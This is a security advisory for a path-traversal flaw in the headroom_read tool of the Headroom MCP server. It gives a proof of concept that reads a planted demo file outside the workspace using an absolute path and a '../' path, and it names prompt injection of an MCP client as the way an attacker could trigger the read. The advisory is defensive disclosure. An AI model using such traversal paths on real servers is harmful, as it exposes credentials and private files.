GHSA-8g49-pg6g-xgrf: 
Python Schwachstellenanalyse und -minderung

Who is affected

Only users who turned on the headroom_read MCP tool by setting HEADROOM_MCP_READ=on. The tool is off by default, so a default Headroom install is not affected.

Fix

Upgrade to headroom-ai 0.43.0 or later. headroom_read now only reads files inside the workspace (the working directory, or the roots set in HEADROOM_MCP_READ_ROOTS), and refuses absolute paths, .. and symlinks that lead outside it. Fixed in #4525. If you can't upgrade, leave HEADROOM_MCP_READ unset (or set it to off).

Severity

Rated Moderate: exploitation needs a non-default setting and an MCP client that can be induced (for example by prompt injection) to call the tool with an attacker-chosen path.

Summary

Headroom MCP's headroom_read tool allows reading files outside the workspace.

Details

The vulnerable file is https://github.com/headroomlabs-ai/headroom/blob/v0.40.0/headroom/ccr/mcp_server.py#L972. It resolves the supplied path without enforcing a workspace boundary.

Proof of concept

Requirements: headroom and npm. Run all commands in the same shell.

uv tool install --python 3.13 "headroom-ai[all]"

1. Create the demo in your home directory

DEMO_ROOT=$(mktemp -d "$HOME/headroom-demo.XXXXXX")
mkdir "$DEMO_ROOT/workspace" "$DEMO_ROOT/private"
printf '%s\n' 'HEADROOM_DEMO_ONLY' > "$DEMO_ROOT/private/test.txt"
cd "$DEMO_ROOT/workspace"

The server is launched from workspace; the file is in the separate private directory. A new directory is created to avoid interfering with your current project.

2. Read outside the workspace with MCP Inspector

npx -y @modelcontextprotocol/inspector --cli headroom mcp serve -e HEADROOM_MCP_READ=on --method tools/call --tool-name headroom_read --tool-arg "file_path=$DEMO_ROOT/private/test.txt"
{
  "content": [
    {
      "type": "text",
      "text": "     1\tHEADROOM_DEMO_ONLY\n     2\t"
    }
  ],
  "isError": false
}

or

npx -y @modelcontextprotocol/inspector --cli headroom mcp serve -e HEADROOM_MCP_READ=on --method tools/call --tool-name headroom_read --tool-arg "file_path=../private/test.txt"
{
  "content": [
    {
      "type": "text",
      "text": "     1\tHEADROOM_DEMO_ONLY\n     2\t"
    }
  ],
  "isError": false
}

This demonstrates unrestricted file reading within the server process's OS permissions. Headroom does not enforce a workspace boundary: absolute paths, .., and resolved symlinks can point outside it.

Documentation review

The local README, wiki, and documentation tree contain no description of headroom_read unrestricted filesystem scope. The v0.40.0 source documents the enabling feature flag and an absolute-path input, but the reviewed material does not explicitly disclose that the tool can read arbitrary files accessible to the server process outside the workspace. Consequently, users may enable or authorize the tool without being aware of its filesystem access scope.

Impact

headroom_read provides an alternative path to files blocked by controls scoped to other tools, potentially exposing credentials, configuration files, and private data readable by the server process. An attacker who can induce an authorized MCP call with an attacker-controlled file_path could exploit this gap.

Suggested mitigation

I suggest to consider letting users configure a base directory for headroom_read, similar to the https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem. Only allow reads within that directory, checking the resolved path so that .. and symlinks cannot escape it.

Credit

Alessio Della Libera, CEO & Co-founder at Numyra. NOTE: I used AI assistance to write this report, but not to find the vulnerability.